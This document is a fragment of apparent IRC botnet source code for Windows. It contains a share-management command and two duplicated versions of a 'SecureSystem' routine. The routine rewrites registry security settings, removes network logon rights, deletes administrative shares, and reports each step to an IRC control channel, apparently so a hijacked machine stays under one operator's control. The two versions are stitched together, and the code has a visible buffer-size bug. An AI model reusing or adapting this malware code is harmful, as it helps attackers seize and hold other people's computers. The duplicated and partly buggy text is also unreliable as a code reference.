char *Shares(int action, char *ShareName, char *SharePath) { static char buffer[IRCLINE]; NET_API_STATUS nStatus = 0; if (ShareName) { switch (action) { case NET_ADD: if(SharePath || strchr(ShareName,'$')) nStatus = ShareAdd(NULL,ShareName,SharePath); else nStatus = ERROR_INVALID_PARAMETER; break; case NET_DELETE: nStatus = ShareDel(NULL, ShareName); break; } if (nStatus == NERR_Success) sprintf(buffer,"-\x03\x34\2net\2\x03- %s share: '%s'", netcommand[action].completed, ShareName); else sprintf(buffer,"-\x03\x34\2net\2\x03- %s: error with share: '%s' - %s", netcommand[action].action, ShareName, NasError(nStatus)); } else sprintf(buffer,"-\x03\x34\2net\2\x03- %s: no share specified", netcommand[action].action); return (buffer); }
BOOL SecureSystem(SOCKET sock, char *chan, BOOL notice, BOOL silent) { char sendbuf[IRCLINE]; if (!noadvapi32) { HKEY hKey; if(fRegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey3, 0, KEY_READ|KEY_WRITE, &hKey) == ERROR_SUCCESS) { TCHAR szDataBuf[]="N"; if(fRegSetValueEx(hKey, "EnableDCOM", NULL, REG_SZ, (LPBYTE)szDataBuf, strlen(szDataBuf)) != ERROR_SUCCESS) sprintf(sendbuf,"4<<12[SECURE]: Disable DCOM failed.4>>"); else sprintf(sendbuf,"4<<12[SECURE]: DCOM disabled.4>>"); fRegCloseKey(hKey); } else sprintf(sendbuf,"4<<12[SECURE]: Failed to open DCOM registry key.4>>"); if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE); addlog(sendbuf); if (fRegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey4, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) { DWORD dwData = 0x00000001; if (fRegSetValueEx(hKey, "restrictanonymous", 0, REG_DWORD, (LPBYTE) &dwData, sizeof(DWORD)) != ERROR_SUCCESS) sprintf(sendbuf,"4<<12[SECURE]: Failed to restrict access to the IPC$ Share.4>>"); else sprintf(sendbuf,"4<<12[SECURE]: Restricted access to the IPC$ Share.4>>"); fRegCloseKey(hKey); } else sprintf(sendbuf,"4<<12[SECURE]: Failed to open IPC$ Restriction registry key.4>>"); } else sprintf(sendbuf,"4<<12[SECURE]: Advapi32.dll couldn't be loaded.4>>"); if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE); addlog(sendbuf); if (!nonetapi32) { PSHARE_INFO_502 pBuf,p; NET_API_STATUS nStatus; DWORD entriesread=0,totalread=0,resume=0; do { nStatus = fNetShareEnum(NULL, 502, (LPBYTE *) &pBuf, -1, &entriesread, &totalread, &resume); if(nStatus == ERROR_SUCCESS || nStatus == ERROR_MORE_DATA) { p = pBuf; for(unsigned int i=1;i <= entriesread;i++) { if (p->shi502_netname[wcslen(p->shi502_netname)-1] == '$') { if(ShareDel(NULL,AsAnsiString(p->shi502_netname)) == NERR_Success) _snprintf(sendbuf,sizeof(sendbuf),"nzm (secure.plg) »» Share '%S' deleted.",p->shi502_netname); else _snprintf(sendbuf,sizeof(sendbuf),"nzm (secure.plg) »» Failed to delete '%S' share.",p->shi502_netname); if (!silent) irc_privmsg(sock,chan,sendbuf,notice, TRUE); addlog(sendbuf); } p++; } fNetApiBufferFree(pBuf); } else { for(int i=0;i < (sizeof(ShareList) / sizeof (NetShares));i++) { if(ShareDel(NULL,ShareList[i].ShareName) == NERR_Success) _snprintf(sendbuf,sizeof(sendbuf),"4<<12[SECURE]: Share '%S' deleted.4>>",ShareList[i].ShareName); else _snprintf(sendbuf,sizeof(sendbuf),"4<<12[SECURE]: Failed to delete '%S' share.4>>",ShareList[i].ShareName); if (!silent) irc_privmsg(sock,chan,sendbuf,notice, TRUE); addlog(sendbuf); } } } while (nStatus == ERROR_MORE_DATA); sprintf(sendbuf,"4<<12[SECURE]: Network shares deleted.4>>"); } else sprintf(sendbuf,"4<<12[SECURE]: Netapi32.dll couldn't be loaded.4>>"); if (!silent) irc_privmsg(sock,chan, sendbuf, notice); addlog(sendbuf); return TRUE; }
BOOL SecureSystem(SOCKET sock, char *chan, BOOL notice, BOOL silent) { char sendbuf[IRCLINE]; if (!noadvapi32) { HKEY hKey; if(fRegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey3, 0, KEY_READ|KEY_WRITE, &hKey) == ERROR_SUCCESS) { TCHAR szDataBuf[]="N"; if(fRegSetValueEx(hKey, "EnableDCOM", NULL, REG_SZ, (LPBYTE)szDataBuf, strlen(szDataBuf)) != ERROR_SUCCESS) sprintf(sendbuf,"[SECURE]: Disable DCOM failed."); else sprintf(sendbuf,"[SECURE]: DCOM disabled."); fRegCloseKey(hKey); } else sprintf(sendbuf,"[SECURE]: Failed to open DCOM registry key."); if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE); addlog(sendbuf); if (fRegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey4, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) { DWORD dwData = 0x00000001; if (fRegSetValueEx(hKey, "restrictanonymous", 0, REG_DWORD, (LPBYTE) &dwData, sizeof(DWORD)) != ERROR_SUCCESS) sprintf(sendbuf,"[SECURE]: Failed to restrict access to the IPC$ Share."); else sprintf(sendbuf,"[SECURE]: Restricted access to the IPC$ Share."); fRegCloseKey(hKey); } else sprintf(sendbuf,"[SECURE]: Failed to open IPC$ Restriction registry key."); if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE); addlog(sendbuf); if (fRegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey4, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) { DWORD dwData = 0x00000001; if (fRegSetValueEx(hKey, "restrictanonymoussam", 0, REG_DWORD, (LPBYTE) &dwData, sizeof(DWORD)) != ERROR_SUCCESS) sprintf(sendbuf,"[SECURE]: Failed to restrict anonymous enumeration of SAM accounts."); else sprintf(sendbuf,"[SECURE]: Restricted anonymous enumeration of SAM accounts."); fRegCloseKey(hKey); } else sprintf(sendbuf,"[SECURE]: Failed to open enumeration of SAM accounts registry key."); if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE); addlog(sendbuf); #ifndef NO_LSARESTRICT DWORD dwRet; if ((dwRet = SearchForPrivilegedAccounts(L"SeNetworkLogonRight", FALSE)) > 0) sprintf(sendbuf,"[SECURE]: Removed SeNetworkLogonRights from %d accounts in local system policy.", dwRet); else sprintf(sendbuf,"[SECURE]: Failed to remove SeNetworkLogonRights from any accounts in local system policy."); #endif } else sprintf(sendbuf,"[SECURE]: Advapi32.dll couldn't be loaded."); if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE); addlog(sendbuf); #ifndef NO_NET if (!nonetapi32) { PSHARE_INFO_502 pBuf,p; NET_API_STATUS nStatus; DWORD entriesread=0,totalread=0,resume=0; do { nStatus = fNetShareEnum(NULL, 502, (LPBYTE *) &pBuf, -1, &entriesread, &totalread, &resume); if(nStatus == ERROR_SUCCESS || nStatus == ERROR_MORE_DATA) { p = pBuf; for(unsigned int i=1;i <= entriesread;i++) { if (p->shi502_netname[wcslen(p->shi502_netname)-1] == '$') { char* szShareName = new char[wcslen(p->shi502_netname)+1]; WideCharToMultiByte(CP_ACP, WC_NO_BEST_FIT_CHARS, p->shi502_netname, -1, szShareName, sizeof(szShareName), NULL, NULL); if(ShareDel(NULL,szShareName) == NERR_Success) _snprintf(sendbuf,sizeof(sendbuf),"[SECURE]: Share '%S' deleted.",p->shi502_netname); else _snprintf(sendbuf,sizeof(sendbuf),"[SECURE]: Failed to delete '%S' share.",p->shi502_netname); if (!silent) irc_privmsg(sock,chan,sendbuf,notice, TRUE); addlog(sendbuf); delete szShareName; } p++; } fNetApiBufferFree(pBuf); } else { for(int i=0;i < (sizeof(ShareList) / sizeof (NetShares));i++) { if(ShareDel(NULL,ShareList[i].ShareName) == NERR_Success) _snprintf(sendbuf,sizeof(sendbuf),"[SECURE]: Share '%s' deleted.",ShareList[i].ShareName); else _snprintf(sendbuf,sizeof(sendbuf),"[SECURE]: Failed to delete '%s' share.",ShareList[i].ShareName); if (!silent) irc_privmsg(sock,chan,sendbuf,notice, TRUE); addlog(sendbuf); } } } while (nStatus == ERROR_MORE_DATA); sprintf(sendbuf,"[SECURE]: Network shares deleted."); } else sprintf(sendbuf,"[SECURE]: Netapi32.dll couldn't be loaded."); if (!silent) irc_privmsg(sock,chan, sendbuf, notice); addlog(sendbuf); #endif return TRUE; }